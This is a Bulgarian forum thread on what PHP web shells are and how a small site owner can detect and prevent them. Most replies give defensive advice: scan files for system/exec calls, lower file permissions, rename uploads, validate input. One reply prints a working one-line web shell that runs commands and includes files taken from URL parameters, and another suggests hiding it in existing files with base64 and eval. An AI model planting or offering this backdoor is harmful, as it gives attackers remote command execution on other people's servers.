Какво представлява шела?

aquafresh

Registered
Искам малко да поразпитам за шела.. как се качва,как да разбера кога има шел на хоста и ... как да се предпазя от него :roll:
По принцип в форума и в сайта няма форми за качване на файлове или аватари от компютъра ,а директно с линк.
 
Това за качването от линк също не е гаранция.Направи си един скрипт,да се изпълнява по един път на ден (с крон джоб например), който да проверява дали имаш файлове,в който се съдържат думите system,exec,shell_exec или passthru.


:)
 
шел е като файл мениджър
линк, ъплоуд все едно пак ги качва на сайта
а иначе огледай файлове с голям размер, аз веднага ги виждам в ftp-то и ги провери ;)
 
FestarBG каза:
Това за качването от линк също не е гаранция.Направи си един скрипт,да се изпълнява по един път на ден (с крон джоб например), който да проверява дали имаш файлове,в който се съдържат думите system,exec,shell_exec или passthru.


:)
Ами аз май не обясних по-точно. Те не се качват на мой сървъра ,а директно се дава линк за сваляне.. (за файлове и картинки)
 
Е, тогава шанса да ти качат шел става доста по малък.Все пак можеш да пуснеш един крон ако се притесняваш толкова за сигурността... :)
 
А как мога да разбера дали има качен,защото един пък ми бяха качили търсих навсякъде и нищо не открих.. Може ли да си го изтрият след като го качат?
 
сложи си правата на файловете да са колкото се може по-ниски :)
тогава даже и самоизтриването не работи (на 000webhost с c99)
 
Ако сайтът ти е само за картинки направи да има ограничение до 2 мб... Шеловете са над този размер до колкото си спомням.
 
Не разбира се.Дефакто и това е шел:

<?php
$file = @$_GET['file'];
$cmd = @$_GET['cmd'];
if($file) {include "$file";}
if($cmd) {system($cmd); }
?>

Като му се сложи един base64_decode + един eval и ако се сложи в някой от твойте php файлове,иди го намери после.. :D
 
А това като го качат и отворят могат да бъзикат във файловете :idea:
Не е ли прекалено късичък кода за такива екстри :D
ПС: ама те как го качват през аватарите? (примерно)
Нещо като shell.php.jpg ?
 
1 sh може да бъде и 1 кб, размера не е от никакво значение :) Защита от качване на sh код е правилно написан пхп код :)
 
aquafresh каза:
А това като го качат и отворят могат да бъзикат във файловете :idea:
Не е ли прекалено късичък кода за такива екстри :D
ПС: ама те как го качват през аватарите? (примерно)
Нещо като shell.php.jpg ?

Размера няма значение :D :shock: :D Нали знаеш какво прави system()? еми може да си изпълни всякаква команда дето подаде като GET променлива само с този код.

А не е препоръчително да се споменава как точно се качват, но само ще ти кажа, че е най-добре да сменяш името на файла при качване, защото почти всички това ги спира.
 
в някой случай даже не се качва
RFI (remote file inclusion) е доста често явление :D

п.с. позлвай phpbb3, там са хитро измислени аватарите ;)
 
А какво означава добре написан код?
Пълен с грешки? Еми то няма да работи :D
или объркан.. или не защитен?
Защото аз съм си го "писал" така да се каже тук там съм гледал как е направено в други системи и кода ми е мешеница,но аз мога да се оправя в него.. Смисъл според мен си е подреден и не мисля ,че е объркан и всичко си върви..
Шела може ли по друг начин да се качи освен ъплоуд формите за картинки и файлове?
 
става дума за добре защитен код. и за това да проверяваш добре входящите данни, като попринцип е най-правилно да мислиш всички входящи данни за грешка до доказване на противното ;)
 
А някой който разглежда сайта може ли да разбере ,че има шел?

http://web-tourist.net/login/login/view.php?st=2014

Това полезно ли е?
 
aquafresh каза:
А какво означава добре написан код?
Пълен с грешки? Еми то няма да работи :D
или объркан.. или не защитен?
Защото аз съм си го "писал" така да се каже тук там съм гледал как е направено в други системи и кода ми е мешеница,но аз мога да се оправя в него.. Смисъл според мен си е подреден и не мисля ,че е объркан и всичко си върви..
Шела може ли по друг начин да се качи освен ъплоуд формите за картинки и файлове?

Сигурен съм, че твоя код е мешеница. И това, че ти си го разчиташ не значи, че е защитен и че са направени всички нужни проверки за по-голяма защита.
 
Еми ще ти дам пример :D
Код:
<?php
include ("config.php");
if(isset($_GET['id']) && is_numeric($_GET['id'])){ 
$id = (int)$_GET['id'];
$query1 = "SELECT * FROM `$table_name` where id = '$id'";
$result1=mysql_query($query1);
while($r = mysql_fetch_array($result1)) {
extract($r);
echo "
<div id='hb_box'><img src='images/icons/cs16.jpg'> <b>$name</b></div>
<div id='h_box'>
<table width='100%' border='0'>
  <tr>
    <td valign='top' width='50%' style='font-size: 14px;'>

<br>";
$ip = $_SERVER['REMOTE_ADDR']; 
if($ip=="27.0.0.1" || $ip=="27.0.0.2") {
echo "<a href='maps/del.php?id=$id'><img src='images/icons/cross.png' style='border:none;'></a> <a href='maps/edit.php?id=$id'><img src='images/icons/edit.png' style='border:none;'></a> <br>"; }
else { echo ""; }
echo"
Тип: <b>$type</b><br>
Размер: $size $size1<br> 
Добавена на $date<br>
от $author<br><br>

<a style='border: 1px solid black; padding-left: 3px; padding-right: 3px; background-color: #323232;' href='maps/download.php?id=$id' target='_blank'><img src='images/icons/arrow_down.png' style='border:none;'>Download</a><br><br>

<span style='font-size:11px;'>Свален <b>$downloaded</b> път(и)</span><br>
<span style='font-size:12px;'><a href='broken.php?id=$id'><img src='images/icons/link_break.png' style='border:none;'>Неработещ линк?</a></span>

</td>
    <td valign='top'><a href='maps/viewpic.php?id=$id' target='_blank'><img src='$img' style='width: 250px; height: 180px; border:0px;'></a>
</td>
  </tr>
</table>
</div>
<div id='he_box'></div>
<br>
";
}
} else die();
?>
 

Горе